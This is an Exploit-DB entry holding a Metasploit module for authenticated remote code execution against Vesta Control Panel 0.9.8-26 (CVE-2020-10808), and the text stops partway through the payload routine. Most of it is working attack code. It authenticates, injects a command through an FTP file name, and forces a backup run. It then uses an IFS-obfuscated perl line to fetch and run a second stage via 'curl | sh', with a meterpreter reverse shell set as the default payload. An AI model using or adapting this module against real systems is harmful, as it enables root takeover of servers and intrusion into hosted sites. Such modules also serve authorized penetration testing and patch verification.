Exploit-DB #48294
Description: Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution (Metasploit)
Type: webapps
Platform: multiple
Date: 2020-04-06
Author: Mehmet Ince

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Vesta Control Panel Authenticated Remote Code Execution",
      'Description'    => %q{
        This module exploits command injection vulnerability in v-list-user-backups bash script file.
        Low privileged authenticated users can execute arbitrary commands under the context of the root user.

        An authenticated attacker with a low privileges can inject a payload in the file name starts with dot.
        During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As
        result of that backup process, when an attacker try to list existing backups injected payload will be
        executed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
          ['CVE', '2020-10808']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => true,
          'RPORT' => 8083,
          'WfsDelay' => 300,
          'Payload' => 'python/meterpreter/reverse_tcp'
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [[ 'Automatic', { }]],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 17 2020",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(8083),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with']),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ]
    )
    deregister_options('FTPUSER', 'FTPPASS')
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def login
    #
    # This is very simple login process. Nothing important.
    # We will be using cookie and csrf_token across the module so that we are global variable.
    #
    print_status('Retrieving cookie and csrf token values')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login', '/'),
    })

    if res && res.code == 200 && !res.get_cookies.empty?
      @cookie = res.get_cookies
      @csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
      if @csrf_token.empty?
        fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
      end
    else
      fail_with(Failure::Unknown, 'Something went wrong.')
    end
    print_good('Cookie and CSRF token values successfully retrieved')

    print_status('Authenticating to HTTP Service with given credentials')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login', '/'),
      'cookie' => @cookie,
      'vars_post' => {
        'token'    => @csrf_token,
        'user'     => username,
        'password' => password
      }
    })

    if res && res.code == 302 && !res.get_cookies.empty?
      print_good('Successfully authenticated to the HTTP Service')
      @cookie = res.get_cookies
    else
      fail_with(Failure::Unknown, 'Credentials are not valid.')
    end
  end

  def is_scheduled_backup_running
    res = trigger_scheduled_backup
    #
    # MORE explaination.
    #
    if res && res.code == 302
      res = trigger_payload
      if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
        return true
      else
        print_good('It seems scheduled backup is done ..! Triggerring payload <3')
        return false
      end
    else
      fail_with(Failure::Unknown, 'Something went wrong. Did you get your session ?')
    end
    return false
  end

  def trigger_payload
    res = send_request_cgi({
      'method' => 'GET',
      'cookie' => @cookie,
      'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
    })
    if res && res.code == 200
      res
    else
      fail_with(Failure::Unknown, 'Something went wrong. Maybe session timed out ?')
    end
  end

  def trigger_scheduled_backup
    res = send_request_cgi({
      'method' => 'GET',
      'cookie' => @cookie,
      'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
    })
    if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
      res
    else
      fail_with(Failure::Unknown, 'Something went wrong.')
    end
  end

  def payload_implant
    #
    # Our payload will be placed as a file name on FTP service.
    # Payload lenght can't be more then 255 and SPACE can't be used because of the
    # bug in the backend software. Due to these limitations, I used web delivery method.
    #
    # When the initial payload executed. It will execute very short perl command, which is going to fetch
    # actual python meterpreter first stager and execute it.
    #
    final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first
    p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

    # Yet another datastore variable overriding.
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end
    port_restore = datastore['RPORT']
    datastore['RPORT'] = 21
    datastore['FTPUSER'] = username
    da